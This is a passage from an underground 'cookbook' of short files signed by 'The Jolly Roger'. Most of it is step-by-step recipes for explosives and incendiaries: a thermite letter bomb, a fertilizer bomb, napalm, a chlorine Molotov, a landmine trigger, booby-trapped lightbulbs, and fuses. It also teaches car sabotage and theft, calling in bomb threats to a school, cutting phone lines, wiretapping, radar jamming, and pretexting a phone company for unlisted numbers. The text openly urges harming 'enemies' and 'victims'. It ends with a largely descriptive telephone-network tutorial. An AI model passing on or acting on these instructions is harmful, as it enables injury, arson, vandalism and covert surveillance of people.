- Mix the iron with aluminum fillings in a ratio of 75% aluminum 
to 25% iron. This mixture will burn violently in a closed space 
(such as an envelope). This bring us to our next ingredient... 


- Go to the post office and buy an insulated (padded) envelope. 

You know, the type that is double layered... Seperate the layers 

and place the mild thermite in the main section, where the letter 
would go. Then place magnesium powder in the outer layer. There is 
your bomb!! 


- Now to light it... this is the tricky part and hard to explain. 

Just keep experimenting until you get something that works. The 
fuse is just that touch explosive I have told you about in another 
one of my anarchy files. You might want to wrap it like a long 
cigarette and then place it at the top of the envelope in the 


outer layer (on top of the powdered magnesium). When the touch 
explosive is torn or even squeezed hard it will ignite the 
powdered magnesium (sort of a flash light) and then it will burn 
the mild thermite. If the thermite didn't blow up, it would at 

least burn the fuck out of your enemy (it does wonders on human 
fleshl). 


NOW that is REVENGE! -Jolly Roger- 


Paint Bombs by The Jolly Roger 


To make a pain bomb you simply need a metal pain can with a 

refastenable lid, a nice bright color paint (green, pink, purple, 

or some gross color is perfect!), and a quantity of dry ice. Place 

the paint in the can and then drop the dry ice in. Quicky place 

the top on and then run like hell! With some testing you can time 

this to a science. It depends on the ratio of dry ice to paint to 

the size of the can to how full it is. If you are really pissed 

off at someone, you could place it on their doorstep, knock on the 

door, and then run!! Paint will fly all over the place HAHAHA! 
-Jolly Roger- 


Ways to send a car to Hell by The Jolly Roger 


There are 1001 ways to destroy a car but I am going to cover only 
the ones that are the most fun (for you), the most destructive 
(for them), and the hardest to trace (for the cops). 


- Place thermite on the hood, light it, and watch it burn all the 
way through the pavement! 


- Tape a CO2 bomb to the hood, axel, gas tank, wheel, muffler, 
etc.) 


- Put a tampon, dirt, sugar (this on is good]), a ping pong ball, 
or just about anything that will dissolve in the gas tank. 


- Put potatoes, rocks, banannas, or anything that will fit, into 
the tailpipe. Use a broom handle to stuff'em up into the 


tailpipe. 


- Put a long rag into the gas tank and light it... 


- Steal a key, copy it, replace it, and then steal the stereo. 


- Break into the car. Cut a thin metal ruler into a shape like 
this: 


Slide it into the outside window and keep pulling it back up until 
you catch the lock cable which should unlock the door. This device 
is also called a SLIM JIM. Now get the stereo, equalizer, radar 
detector, etc. Now destroy the inside. (A sharp knife does wonders 
on the seats!) 


Have Fun! -Jolly Roger- 


Do ya hate school? by The Jolly Roger 


- One of my favorites for getting out of a class or two is to call 

in a bomb threat. Tell 'em that it is in a locker. Then they have 

to check them all, whilst you can slip away for an hour or two. 

You can even place a fake bomb (in any locker but YOURS!). They 
might cancel school for a week while they investigate (of course, 
you will probably have to make it up in the summer...). 


- Get some pure potassium or pure sodium, put it in a capsule, and 
flush it down the toilet (smells awful! Stinks up the whole school!). 


- Use a smoke grenade in the hallway. 


- Steal the computer passwords & keys. Or steal the 80 column cards 
inside if they are (gag) IBM. 


- Make friends with student assistants and have them change your 
grades when the teachers hand in their bubble sheets for the report 


cards. 


- Spit your gum out on the carpet in the library or whatever and 
grind it into the carpet. Watch the janitors cry! 


- Draw on lockers or spraypaint on the building that the principal 


is a fascist. 
- Stick a potato in the tailpipe of the principal's car. 


- USE YOUR IMAGINATION! -Jolly Roger- 


Phone related vandalism by the Jolly Roger 


If you live where there are underground lines then you will be 
able to ruin someone's phone life very easily. All you must do is 
go to their house and find the green junction box that interfaces 
their line (and possibly some others in the neighborhood) with the 
major lines. These can be found just about anywhere but they are 
usually underneath the nearest phone pole. Take a socket wrench 
and loosen the nut on the right. Then just take clippers or a 
sledge hammer or a bomb and destroy the insides and pull up their 
phone cable. Now cut it into segments so it can't be fixed but 
must be replaced (There is a week's worth of work for 'em!!) 
-Jolly Roger- 


Highway radar jamming by The Jolly Roger 


Most drivers wanting to make better time on the open road will 
invest in one of those expensive radar detectors. However, this 
device will not work against a gun type radar unit in which the 

radar signal is not present until the cop has your car in his 

sights and pulls the trigger. Then it is TOO LATE for you to slow 
down. A better method is to continuously jam any signal with a 
radar signal of your own. I have tested this idea with the 

cooperation of a local cop and found that his unit reads random 
numbers when my car approached him. It is suprisingly easy to make 
a low power radar transmitter. A nifty little semiconductor called 

a Gunn Diode will generate microwaves when supplied with the 5 to 
10 volt DC and enclosed in the correct size cavity (resonater). An 

8 to 3 terminal regulator can be used to get this voltage from a 

car's 12v system. However, the correct construction and tuning of 
the cavity is difficult without good microwave measurement 
equipment. Police radars commonly operate on the K band at 22 ghz. 
Or more often on the X band at 10.525 ghz. most microwave intruder 
alarms and motion detectors (mounted over automatic doors in 
supermarkets & banks, etc.) contain a Gunn type 

transmitter/receiver combination that transmits about 10 kilowatts 


at 10.525 ghz. These units work perfectly as jammers. If you 
cannot get one locally, write to Microwave Associates in 
Burlington, Massachusettes and ask them for info on 'Gunnplexers’ 
for ham radio use. When you get the unit it may be mounted ina 
plastic box on the dash or in a weather-proff enclosure behind the 
PLASTIC grille. Switch on the power when on an open highway. The 
unit will not jam radar to the side or behind the car so don't go 
speeding past the radar trap. An interesting phenomena you will 
notice is that the drivers who are in front of you who are using 
detectors will hit their brakes as you approach large metal signs 
and bridges. Your signal is bouncing off of these objects and 
triggering their radar detectors! HAVE FUN! 

-Jolly Roger- 


P.S. If you are interested in this sort of thing, get a copy of 

POPULAR COMMUNICATIONS. The ads in there tell you where you can 
get all kinds of info on all kinds of neat equipment for all kinds 

of neat things! 

Smoke Bombs by the Jolly Roger 


Here is the recipe for one helluva smoke bomb! 


4 parts sugar 
6 parts potassium nitrate (Salt Peter) 


Heat this mixture over a LOW flame until it melts, stirring well. 
Pour it into a future container and, before it solidifies, imbed a 
few matches into the mixture to use as fuses. One pound of this 
stuff will fill up a whole block with thick, white smoke! 
Mail Box Bombs by the Jolly Roger 
(1) Two litre bottle of chlorine (must contain sodium hypochlorate) 
Small amount of sugar 
Small amount of water 
Mix all three of these in equal amounts fo fill about 1/10 of the 


bottle. Screw on the lid and place in a mailbox. It's hard to 
believe that such a small explosion will literally rip the mailbox 


in half and send it 20 feet into the air! Be careful doing this, 

though, because if you are caught, it is not up to the person 

whose mailbox you blew up to press charges. It is up to the city. 
-Jolly Roger- 
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The easiest way to hotwire cars by the Jolly Roger 


Get in the car. Look under the dash, If it enclosed, forget it 
unless you want to cut through it. If you do, do it near the 
ignition. Once you get behind or near the ignition look for two 
red wires. In older cars red was the standard color, if not, look 
for two matched pairs. When you find them, cross them and take 
off -Jolly Roger- 


How to make Napalm by the Jolly Roger 


- Pour some gas into an old bowl, or some kind of container. 


- Get some styrofoam and put it in the gas, until the gas won't 
eat anymore. You should have a sticky syrup. 


- Put it on the end of something (don't touch it!!). The unused 
stuff lasts a long time! 
-Jolly Roger- 


How to make a fertilizer bomb by Jolly Roger 
Ingredients: 


- Newspaper 

- Fertilizer (the chemical kind, GREEN THUMB or ORCHO) 
- Cotton 

- Diesel fuel 


Make a pouch out of the newspaper and put some fertilizer in it. 
Then put cotton on top. Soak the cotton with fuel. Then light and 
run like you have never ran before! This blows up 500 square feet 


so don't do it in an alley!! -Jolly Roger- 
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Tennis Ball Bombs by The Jolly Roger 
Ingredients: 


- Strike anywhere matches 
- A tennis ball 

- A nice sharp knife 

- Duct tape 


Break a ton of matchheads off. Then cut a SMALL hole in the tennis 
ball. Stuff all of the matchheads into the ball, until you can't 
fit any more in. Then tape over it with duct tape. Make sure it is 


real nice and tight! Then, when you see a geek walking down the 
street, give it a good throw. He will have a blast!! 


-Jolly Roger- 
Diskette Bombs by the Jolly Roger 
You need: 
- A disk 
- Scissors 


- White or blue kitchen matches (they MUST be these colors!) 
- Clear nail polish 


- Carefully open up the diskette (3.5" disks are best for this!) 
- Remove the cotton covering from the inside. 


- Scrape a lot of match powder into a bowl (use a wooden scraper, 
metal might spark the matchpowder!) 


- After you have a lot, spread it evenly on the disk. 
- Using the nail polish, spread it over the match mixture 
~ Let it dry 


- Carefully put the diskette back together and use the nail polish 
to seal it shut on the inside (where it came apart). 


- When that disk is in a drive, the drive head attempts to read 

the disk, which causes a small fire (ENOUGH HEAT TO MELT THE DISK 
DRIVE AND FUCK THE HEAD UP!!). ahahahahaha! Let the fuckhead try 
and fix THAT!!! -Jolly Roger- 


Unlisted Phone Numbers by The Jolly Roger 


There are a couple of different ways of doing this. Let's see if 

this one will help: Every city has one or more offices dedicated 

to assigning numbers to the telephone wire pairs. These offices 

are called DPAC offices and are available to service reps who are 
installing or repairing phones. To get the DPAC number, a service 
rep would call the customer service number for billing information 


in the town that the number is located in that he is trying to get 

the unlisted number of. (Got that?) The conversation would go 
something like this: "Hi, Amarillo, this is Joe from Anytown 
business office, I need the DPAC number for the south side of 
town.” This info is usually passed out with no problems, so... if 

the first person you call doesn't have it, try another. REMEMBER, 
no one has ANY IDEA who the hell you are when you are talking on 
the phone, so you can be anyone you damn well please! (heheheheh!) 
When you call the DPAC number, just tell them that you need a 
listing for either the address that you have, or the name. DPAC 
DOES NOT SHOW WHETHER THE NUMBER IS LISTED OR UNLISTED!! Also, if 
you're going to make a habit of chasing numbers down, you might 
want to check into geting a criss-cross directory, which lists 

phone numbers by their addresses. It costs a couple-a-hundred bux, 
but it is well worth it if you have to chase more than one or two 
numbers down! -Jolly Roger- 


Fuses brought to you by The Jolly Roger 


You would be surprised how many files are out there that use what 
falls under the category of a "fuse." They assume that you just 
have a few lying around, or know where to get them. Well, in some 
parts of the country, fuses are extremely hard to come by... so 

this file tells you how to make your own. Both fuses presented 
here are fairly simple to make, and are fairly reliable. 


SLOW BURNING FUSE 
~~ (approx. 2 inches per minute) 


Materials needed: 


- Cotton string or 3 shoelaces 
- Potassium Nitrate or Potassium Chlorate 
- Granulated sugar 


Procedure: 


- Wash the cotton string or showlaces in HOT soapy water, then 
rinse with fresh water 


- Mix the following together in a glass bowl: 
1 part potassium nitrate or potassium chlorate 
1 part granulated sugar 
2 parts hot water 


- Soak strings or shoelaces in this solution 
- Twist/braid 3 strands together and allow them to dry 
- Check the burn rate to see how long it actually takes!! 


FAST BURNING FUSE 
(40 inches per minute) 


Materials needed: 


-Soft cotton string 
-fine black powder (empty a few shotgun shells!) 
-shallow dish or pan 


Procedure: 

- moisten powder to form a paste 

- twist/braid 3 strands of cotton together 
- rub paste into string and allow to dry 


- Check the burn rate!!! 


How to make Potassium Nitrate by The Jolly Roger 


Potassium Nitrate is an ingredient in making fuses, among other 
things. Here is how you make it: 


Materials needed: 


-3.5 gallons of nitrate bearing earth or other material 

-1/2 cup of wood ashes 

-Bucket or other similar container about 4-5 gallons in volume 
-2 pieces of finely woven cloth, each a bit bigger than the 
bottom of the bucket 

~Shallow dish or pan at least as large in diameter as the bucket 
-Shallow, heat resistant container 

-2 gallons of water 

-Something to punch holes in the bottom of the bucket 

-1 gallon of any type of alcoho! 

-A heat source 


-Paper & tape 
Procedure: 


- Punch holes on the inside bottom of the bucket, so that the 
metal is"puckered” outward from the bottom 


- Spread cloth over the holes from the bottom 


- Place wood ashes on the cloth. Spread it out so that it covers 
the entire cloth and has about the same thickness. 


- Place 2nd cloth on top of the wood ashes 

- Place the dirt or other material in the bucket 

- Place the bucket over the shallow container, NOTE: It may need 
support on the bottom so that the holes on the bottom are not 


blocked. 


- Boil water and pour it over the earth very slowly. Do NOT pour 
it all at once, as this will clog the filter on the bottom. 


- Allow water to run through holes into the shallow dish on the 
bottom. 


- Be sure that the water goes through ALL of the earth! 
- Allow water in dish to cool for an hour or so 


- Carefully drain the liquid in the dish away, and discard the 
sludge in the bottom 


- Boil this liquid over a fire for at least two hours. Small 
grains of salt will form - scoop these out with the paper as they 
form 


~ When the liquid has boiled down to 1/2 its original volume let 
it sit 


- After 1/2 hour, add equal volume of the alcohol; when this 
mixture is poured through paper, small white crystals appear. This 
is the posassium nitrate. 


Purification: 


- Redissolve crystals in small amount of boiling water 
- Remove any crystals that appear 


- Pour through improvised filter then heat concentrated solution 
to dryness, 


- Spread out crystals and allow to dry 


Exploding lightbulbs by The Jolly Roger 
Materials needed: 


-lightbulb (100w) 

-socket (duh...) 

-1/4 cup soap chips 

-blackpowder! (open some shotgun shells!) 
-1/4 cup kerosene orgasoline 

-adhesive tape 

-lighter or small blowtorch 

-glue 


Procedure for a simple exploding lightbulb: 


- Drill a small hole in the top of the bulb near the threads! 


- Carefully pour the blackpowder into the hole. Use enough so 
that it touches the filament! 


- Insert into socket as normal (make sure the light is off or 
else YOU will be the victim!!) 


- Get the hell out!! 


Procedure for a Napam Bulb: 


- Heat kerosene/gasoline in a double boiler 
- Melt soap chips, stirring slowly. 


- Put somewhere and allow to cool 


- Heat the threads of the bulb VERY carefully to melt the glue. 
Remove threads, slowly drawing out the filament. Do NOT break the 
cheap electrical igniters and/or the filament or this won't work!! 


- Pour the liquid into the bulb, and slowly lower the filament 
back down into the bulb. Make sure the filament is dipped into the 
fluid. 


~ Re-glue the threads back on. Insert it into a socket frequently 
used by the victim and get the hell out!! 


When the victim flips the switch, he will be in for a BIG surprise! 


Have fun! -Jolly Roger- 


Under water igniters by The Jolly Roger 
Materials needed: 


-Pack of 10 silicon diodes (available at Radio Shack. you will 
know you got the right ones if they are very, very small glass 
objects!) 

-Pack of matches 

-1 candle 


Procedure: 


- Light the candle and allow a pool of molten wax to form in the 
top. 


- Take a single match and hold the glass part of a single diode 

against the head. Bend the diode pins around the matchhead so that 

one wraps in an upward direction and thensticks out to the side. 

Do the same with the other wire, but in a downward direction. The 
diodes should now be hugging the matchhead, but its wires MUST NOT 
TOUCH EACH OTHER! 


~- Dip the matchhead in wax to give it a water-proof coat. These 
work underwater 


~ repeat to make as many as you want 


How to use them: 


When these little dudes are hooked across a 6v battery, the diode 

reaches what is called breakdown voltage. When most electrical 

components reach this voltage, they usually produce great amounts 

of heat and light, while quickly melting into a little blob. This 

heat is enough to ignite a matchhead. These are recommended for 

use underwater, where most other igniters refuse to work. ENJOY! 
-Jolly Roger- 


Home-brew blast cannon by The Jolly Roger 
Materials needed: 


-1 plastic drain pipe, 3 feet long, at least 3 1/2 inches in 
diameter 

-| smaller plastic pipe, about 6 inches long, 2 inches in 
diameter 

-1 large lighter, with fluid refills (this gobbles it up!) 

-1 pipe cap to fit the large pipe, 1 pipe cap to fit the small 
pipe 

-5 feet of bellwire 

-1 SPST rocker switch 

-16v polaroid pot-a-pulse battery 

-15v relay (get this at Radio Shack) 

-Electrical Tape 

-One free afternoon 


Procedure: 

- Cut the bell wire into three equal pieces, and strip the ends 

- Cut a hole in the side of the large pipe, the same diameter as 
the small pipe. Thread the hole and one end of the small pipe. 


they should screw together easily. 


- Take a piece of scrap metal, and bend it into an "L" shape, 
then attach it to the level on the lighter: 


[anwwoweene enn nnnnnnenn gas switch is here 
Highter!!<---metal lever 


1 
i! 


Now, every time you pull the ‘trigger’ gas should flow freely from 
the lighter. You may need to enlarge the 'gas port’ on your 
lighter, if you wish to be able to fire more rapidly. 


- Connect two wires to the two posts on the switch 


- Cut two holes in the side of the smaller tube, one for the 

switch on the bottom, and one for the metal piece on the top. 

Then, mount the switch in the bottom, running the wires up and out 
of the top. 


- Mount the lighter/trigger in the top. Now the switch should 
rock easily, and the trigger should cause the lighter to pour out 
gas. Re-screw the smaller tube into the larger one, hold down the 
trigger a bit, let it go, and throw a match in there. If all goes 
well, you should hear a nice big 'THUD!’ 


- Get a hold of the relay, and take off the top. 


v/ 

Do nnennnenen ene, /<--- the center object is the metal finger inside 
3 the relay 

COrnnennenenens, / 

OO renee een ene anne 4 

ii 

[]----nnnnnnnnnnne 5 


Connect (1) to one of the wires coming from the switch. Connect 
(2) to (4), and connect (5) to one side of the battery. Connect 

the remaining wire from the switch to the other side of the 

battery. Now you should be able to get the relay to make a little 
‘buzzing’ sound when you flip the switch and you should see some 
tiny little sparks. 


- Now, carefully mount the relay on the inside of the large pipe, 
towards the back. Screw on the smaller pipe, tape the battery to 
the side of the cannon barrel (yes, but looks aren't everything!) 


- You should now be able to let a little gas into the barrel and 
set it off by flipping the switch. 


- Put the cap on the back end of the large pipe VERY SECURELY. 
You are now ready for the first trial-run! 


To Test: 


Put something very, very large into the barrel, just so that it 

fits just right’. Now, find a strong guy (the recoil will 

probably knock you on your ass if you aren't carefull). Put on a 
shoulderpad, earmuffs, and possibly some other protective clothing 
(trust the Jolly Roger! You are going to need it!). Hold the 

trigger down for 30 seconds, hold on tight, and hit the switch, 
With luck and the proper adjustments, you should be able to put a 
frozed orange through 1/4 or plywood at 25 feet. 


Have fun! -Jolly Roger- 

Chemical Equivalency list by the Jolly Roger 
ACACIA ree. Atcadsa caren wae taeiuientatess Gum Arabic 

ACSC AGING iis aectticnincasisccupaicieatiotae Vinegar 
Aluminum OXide..... cee ..Alumia 
Aluminum Potassium Sulphate... cscs Alum 
Aluminum Sulfate... ccccereeeesesresseseeenenres 
Ammonium Carbonate.. = 
Ammonium Hydroxide... cece eecesesetetenereteneeens 
Ammonium Nitrate... ceesesserereereenes 

Ammonium Oleate. ..Ammonia Soap 
Amylacetate..... .Bananna Oil 
Barium Sulfide... ccc Black Ash 
Carbon Carbinate......c cece seccsesseeesreeeenees Chalk 
Carbontetrachloride......ccceseeeeenee Cleaning Fluid 
Calcium Hypochloride.. .. Bleaching Powder 


Calcitny Oxide, cc. i cinte erected a Lime 
Calcium Sulfate... .Plaster of Paris 


Carbonic Acid... csessssssesssssssessseesesscesssaees Seltzer 
Cetyltrimethylammoniumbromide...... eee Ammonium Salt 
Ethylinedichloride ...-Dutch Fluid 
Ferric Oxide:.ci saaivareuteodticrains cated Tron Rust 
Furfuraldchydes.i.5 fic ciienanatikees Bran Oil 
Glucose......... ..Corn Syrup 
Graphite... .Pencil Lead 
Hydrochloric Acid.. ..Muriatic Acid 
Hydrogen Peroxide... ccessesseseeseeseeeees Peroxide 
Lead ACEtates tistics svtetsiwsrastdnartionies. Sugar of Lead 
Lead Tero-0Xide......ssasscisiesvectecssesesviteceonenes Red Lead 
Magnesium Silicate... cecesssscssseeseseensesenee Tale 


Magnesium Sulfate... cescesseeeeeeeeeeeee Epsom Salt 


Methylsalicylate.... eee Winter Green Oil 
Naphthalene? cen east. cee. aersteeeieteeictewe tt Mothballs 


Sodium Hydroxide 

Sodium Silicate. i...cisccschuenecestaciccecsiace 

Sodium Sulfate... cca 

Photographer's Hypo 
Battery Acid 

Cane Sugar 
Tinner's Fluid 


Phone Taps by The Jolly Roger 


Here is some info on phone taps. In this file is a schematic for a 
simple wiretap & instructions for hooking up a small tape recorder 
control relay to the phone line. 


First, I will discuss taps a little. There are many different 

types of taps. there are transmitters, wired taps, and induction 

taps to name a few. Wired and wireless transmitters must be 
physically connected to the line before they will do any good. 
Once a wireless tap is connected to the line, it can transmit all 
conversations over a limited reception range. The phones in the 
house can even be modifies to pick up conversations in the room 
and transmit them too! These taps are usually powered off of the 
phone line, but can have an external power source. You can get more 
information on these taps by getting an issue of Popular 
Communications and reading through the ads. Wired taps, on the 
other hand, need no power source, but a wire must be run from the 
line to the listener or to a transmitter. There are obvious 
advantages of wireless taps over wired ones. There is one type of 
wireless tap that looks like a normal telephone mike. All you have 
to do is replace the original mike with thisand itwill transmit 

all conversations! There is also an exotic type of wired tap known 


as the ‘Infinity Transmitter’ or ‘Harmonica Bug’. In order to hook 
one of these, it must be installed inside the phone. When someone 
calls the tapped phone & *before* it rings,blows a whistle over 

the line, the transmitter picks up the phone via a relay. The mike 
on the phone is activated so that the caller can hear all of the 
conversations in the room. There is a sweep tone test at 
415/BUG-1111 which can be used to detect one of these taps. If one 
of these is on your line & the test # sends the correct tone, you 

will hear a click. Induction taps have one big advantage over taps 
that must be physically wired to the phone. They do not have to be 
touching the phone in order to pick up the conversation. They work 
on the same principle as the little suction-cup tape recorder 

mikes that you can get at Radio Shack. Induction mikes can be 
hooked up to a transmitter or be wired. 


Here is an example of industrial espionage using the phone: 

A salesman walks into an office & makes a phone call. He fakes 
the conversation, but when he hangs up he slips some foam rubber 
cubes into the cradle. The called party can still hear all 
conversations in the room. When someone picks up the phone, the 
cubes fall away unnoticed. 


A tap can also be used on a phone to overhear what your modem is 
doing when you are wardialing, hacking, or just plain calling a 

bbs (like the White Ruins! Denver, Colorado! 55 megs online! 

Atari! Macintosh! Amiga! Ibm! CALL IT! 303-972-8566! By the way, i 
did this ad without the sysops consent or knowledge!). 


Here is the schematic: 


! <Input 


The 100K pot is used for volume, It should be on its highest 
(least resistance) setting if you hook a speaker across the 
output. but it should be set on its highest resistance for a tape 
recorder or amplifier. You may find it necessary to add another 
10 - 40K. The capacitor should be around .47 MFD. It's only 


purpose is to prevent the relay in the phone from tripping & 
thinking that you have the phone off of the hook. the audio output 
transformer is available at Radio Shack. (part # 273-138 for 
input). The red & the white wires go to the output device. You may 
want to experiment with the transformer for the best output. 
Hooking up a tape recorder relay is easy. Just hook one of the phone 
wires (usually red) to the the end of one of the relay & the ther 

end just loop around. This bypasses it. It should look like this: 


RELAY™ 
(part #275-004 from Radio Shack works fine) 


If you think that you line is tapped, the first thing to do is to 
physically inspect the line yourself ESPECIALLY the phones. You 
can get mike replacements with bug detectors built in. However, | 
would not trust them too much. It is too easy to get a wrong 
reading. 


For more info: 


BUGS AND ELECTRONIC SURVEILANCE from Desert Publications 

HOW TO AVOID ELECTRONIC EAVESDROPPING & PRIVACY INVASION. I do not 
remember who this one is from... you might want to try Paladin 

Press. 


-Jolly Roger- 


How to make a landmine by The Jolly Roger 


First, you need to get a pushbutton switch. Take the wires of it 
and connect one to a nine volt battery connector and the other to 
a solar igniter (used for launching model rockets). A very thin 
piece of stereo wire will usually do the trick if you are 

desperate, but I recommend the igniter. Connect the other wire of 
the nine-volt battery to one end of the switch. Connect a wire 
from the switch to the other lead on the solar igniter. 


switch----------- battery 


solar igniter 
| 
| 
| 


explosive 


Now connect the explosive (pipe bomb, m-80, CO2 bomb, etc.) to the 

igniter by attaching the fuse to the igniter (seal it with scotch 

tape). Now dig a hole; not too deep but enough to cover all of the 

materials, Think about what direction your enemy will be coming from 

and plant the switch, but leave the button visible (not TOO 

visible!), Plant the explosive about 3-5 feet away from the switch 

because there will be a delay in the explosion that depends on how 

short your wick is, and, if a homemade wick is being used, its 

burning speed. But if you get it right... and your enemy is close 

enough... BBBBBBBOOOOOOOOOOOO000000CO0000MMMM! hahahaha 


-Jolly Roger- 


A different kind of Molitoff Cocktail by the Jolly Roger 
Here is how you do it: 

- Get a coke bottle & fill it with gasoline about half full 

- Cram a piece of cloth into the neck of it nice and tight 

- Get a chlorine tablet and stuff it in there. You are going to have 
to force it because the tablets are bigger than the opening of the 
bottle. 

- Now find a suitable victim and wing it in their direction. When it 
hits the pavement or any surface hard enough to break it, and the chlorine 
and gasoline mix..... BOOMIHI!! 

Have fun! -Jolly Roger- 
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Phone Systems Tutorial by The Jolly Roger 


To start off, we will discuss the dialing procedures for domestic 
as well as international dialing. We will also take a look at the 
telephone numbering plan. 


North American Numbering Plan 


In North America, the telephone numbering plan is as follows: 


A) a3 digit Numbering Plan Area (NPA) code, ie, area code 
B) a7 digit telephone # consisting of a3 digit Central Office 
(CO) code plus a 4 digit station # 


These 10 digits are called the network address or destination 
code. It is in the format of: 


Area Code Telephone. # 


NFX NXX-XXXX 


Where: N = a digit from 2 to 9 
* = the digit 0 or 1 
X =a digit from 0 to 9 


Area Codes 


Check your telephone book or the seperate listing of area codes 
found on many bbs's. Here are the special area codes (SAC's): 


510- TWX (USA) 
610 - TWX (Canada) 
700 - New Service 


710 - TWX (USA) 

800 - WATS 

810 - TWX (USA) 

900 - DIAL-IT Services 
910 - TWX (USA) 


The other area codes never cross state lines, therefore each state 
must have at least one exclusive NPA code. When a community is 
split by a state line, the CO #'s are often interchangeable (ie, 

you can dial the same number from two different area codes). 


TWX (Telex IJ) consists of 5 teletype-writer area codes. They are 
owned by Western Union. These SAC’s may only be reached via other 
TWX machines. These run at 110 baud (last I checked! They are most 
likely faster now!). Besides the TWX #'s, these machines are 

routed to normal telephone #'s. TWX machines always respond with 

an answerback. For example, WU's FYI TWX # is (910) 279-5956. The 
answerback for this service is "WU FYI MAWA". 


If you don't want to but a TWX machine, you can still send TWX 
messages using Easylink [800/325-4112]. However you are gonna have 
to hack your way onto this one! 


700: 


700 is currently used by AT&T as a call forwarding service. It is 
targeted towards salesmen on the run, To understand how this 
works, I'll explain it with an example. Let's say Joe Q. Salespig 
works for AT&T security and he is on the run chasing a phreak 
around the country who royally screwed up an important COSMOS 
system. Let's say that Joe's 700 # is (700) 382-5968. Everytime 

Joe goes to a new hotel (or most likely SLEAZY MOTEL), he dials a 
special 700 #, enters a code, and the number where he is staying. 
Now, if his boss received some important info, all he would do is 
dial (700) 382-5968 and it would ring wherever Joe last progammed 
it to. Neat, huh? 


800: 


This SAC is one of my favourites since it allows for toll free 
calls. INWARD WATS (INWATS), or Inward Wide Area 
Telecommunications Service is the 800 #'s that we are all familiar 
with. 800 #'s are set up in service areas or bands. There are 6 of 
these. Band 6 is the largest and you can call a band 6 # from 
anywhere in the US except the state where the call is terminated 


on 


(that is why most companies have one 800 number for the countery 
and then another one for their state.) Band 5 includes the 48 
contiguous states. All the way down to band | which includes only 
the states contiguous to that one. Therefore, less people can 

reach a band | INWATS # than a band 6 #. 


Intrastate INWATS #'s (ie, you can call it from only 1 state) 

always have a 2 as the last digit in the exchange (ie, 800-NX2- 
XXXX). The NXX on 800 #'s represent the area where the business is 
located. For example, a # beginning with 800-431 would terminate 
ata NY CO. 


800 #'s always end up in a hunt series in a CO. This means that it 
tries the first # allocated to the company for their 800 lines; if 

this is busy, it will try the next #, etc. You must have a minimum 
of 2 lines for each 800 #. For example, Travelnet uses a hunt 

series. If you dial (800) 521-8400, it will first try the # 

associated with 8400; if it is busy it will go to the next 

available port, etc. INWATS customers are billed by the number of 
hours of calls made to their #. 


OUTWATS (OUTWARD WATS): OUTWATS are for making outgoing calls 


only. Largecompanies use OUTWATS since they receive bulk-rate 
discounts. Since OUTWATS numbers cannot have incoming calls, they 
are in the format of: 


(800) *XXX-XXXX 


Where * is the digit 0 or 1 (or it may even be designated by a 
letter) which cannot be dialed unless you box the call, The *XX 
identifies the type of service and the areas that the company can 
call. 


Remember: 

INWATS + OUTWATS = WATS EXTENDER 

900: 

This DIAL-IT SAC is a nationwide dial-it service. It is use for 
taking television polls and other stuff. The first minute 
currently costs an outrageous 50-85 cents and each additional 


minute costs 35-85 cents. Hell takes in a lot of revenue this way! 


Dial (900) 555-1212 to find out what is currently on this service. 


CO CODES 


These identify the switching office where the call is to be 
routed. The following CO codes are reserved nationwide: 


555 - directory assistance 

844 - time. These are now in! 
936 - weather the 976 exchange 
950 - future services 

958 - plant test 

959 - plant test 

970 - plant test (temporary) 
976 - DIAL-IT services 


Also, the 3 digit ANI & ringback #'s are regarded as plant test 
and are thus reserved. These numbers vary from area to area. 


You cannot dial a 0 or | as the first digit of the exchange code 
(unless using a blue box!). This is due to the fact that these 
exchanges (000-199) contains all sorts of interesting shit such as 
conference #'s, operators, test #'s, etc. 


950: 
Here are the services that are currently used by the 950 exchange: 


1000 - SPC 

1022 - MC] Execunet 
1033 - US Telephone 
1044 - Allnet 

1066 - Lexitel 

1088 - SBS Skyline 


These SCC’s (Specialized Common Carriers) are free from fortress 
phones! Also, the 950 exchange will probably be phased out with 
the introduction of Equal Access 

Plant Tests: 

These include ANI, Ringback, and other various tests. 


976: 


Dial 976-1000 to see what is currently on the service. Also, many 


bbs's have listings of these numbers. 


N11 codes: 
Bell is trying to phase out some of these, but they still exist in 
most areas. 


011 - international dialing prefix 
211 - coin refund operator 

411 - directory assistance 

611 - repair service 

811 - business office 

911 - EMERGENCY 


International Dialing 


With International Dialing, the world has been divided into 9 
numbering zones. To make an international call, you must first 
dial: International Prefix + Country code + National # 


In North America, the international dialing prefix is 011 for 
station-to-station calls. If you can dial International #'s 

directly in your area then you have International Direct Distance 
Dialing (IDDD). 


The country code, which varies from | to 3 digits, always has the 
world numbering zone as the first digit. For example, the country 
code for the United Kingdom is 44, thus it is in world numbering 
zone 4. Some boards may contain a complete listing of other 
country codes, but here I give you a few: 


1 - North America (US, Canada, etc.) 
20 - Egypt 
258 - Mozambique 
34 - Spain 
49 - Germany 
$2 - Mexico (southern portion) 
7 - USSR 
81 - Japan 
98 - Iran (call & hassle those bastards!) 


If you call from an area other than North America, the format is 
generally the same. For example, let's say that you wanted to call 
the White House from Switzerland to tell the prez that his 


numbered bank account is overdrawn (it happens, you know! ha ha). 
First you would dial 00 (the SWISS international dialing refix), 
then | (the US country code), followed by 202-456-1414 (the 
national # for the White House. Just ask for Georgy and give him 
the bad news!) 


Also, country code 87 is reserved for Maritime mobile service, ie, 
calling ships: 


871 - Marisat (Atlantic) 
871 - Marisat (Pacific) 
872 - Marisat (Indian) 


International Switching: 


In North America there are currently 7 no. 4 ESS's that perform 
the duty of ISC (Inter-nation Switching Centers), All 
international calls dialed from numbering zone 1 will be routed 
through one of these "gateway cities". They are: 


182 - White Plains, NY 
183 - New York, NY 
184 - Pittsburgh, PA 
185 - Orlando, FI 

186 - Oakland, CA 

187 - Denver, CO 

188 - New York, NY 


The 18X series are operator routing codes for overseas access (to 
be furthur discussed with blue boxes). All international calls use 
a signaling service called CCITT It is an international standard 


for signaling, 


Ok.. there you go for now! If you wanna read more about this, read 
part two which is the next file #36 in the Jolly Roger's cookbook! 


-Jolly Roger- 


Phone Systems Tutorial part II by The Jolly Roger 


Part II will deal with the various types of operators, office 
heirarchy, & switching equipment. 


Operators 


There are many types of operators in the network and the more 
common ones will be discussed. 


TSPS Operator: 


The TSPS [(Traffic Service Position System) ass opposed to This 
Shitty Phone Service] Operator is probably the bitch (or bastard, 
for the female libertationists out there) that most of us are used 
to having to deal with. Here are his/her responsibilities: 


1) Obtaning billing information for calling card or third number 
calls 


2) Identifying called customer on person-to-person cails. 
3) Obtaining acceptance of charges on collect calls. 


4) Identifying calling numbers. This only happens when the calling 
# is not automatically recorded by CAMA (Centralized Automatic 
